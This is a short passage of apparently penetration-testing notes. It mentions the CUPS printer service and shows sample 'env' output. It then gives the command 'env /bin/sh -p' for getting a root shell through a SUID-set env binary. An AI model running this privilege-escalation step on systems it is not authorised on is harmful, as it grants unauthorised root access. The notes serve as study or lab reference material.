

CUPS Service

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It offers a web-based interface that allows the administration and management of printers on a network

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Privilege Escalation

SUID Env

```
└─$ env
COLORFGBG=15;0
COLORTERM=truecolor
COMMAND_NOT_FOUND_INSTALL_PROMPT=1
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
DESKTOP_SESSION=lightdm-xsession
```

The Env program in Linux is used to run a command or script in a modified environment

Privilege Escalation

SUID Env

```
env /bin/sh -p
```

If the Env program is running as a SUID binary, we can run the command like the above example to gain root shell access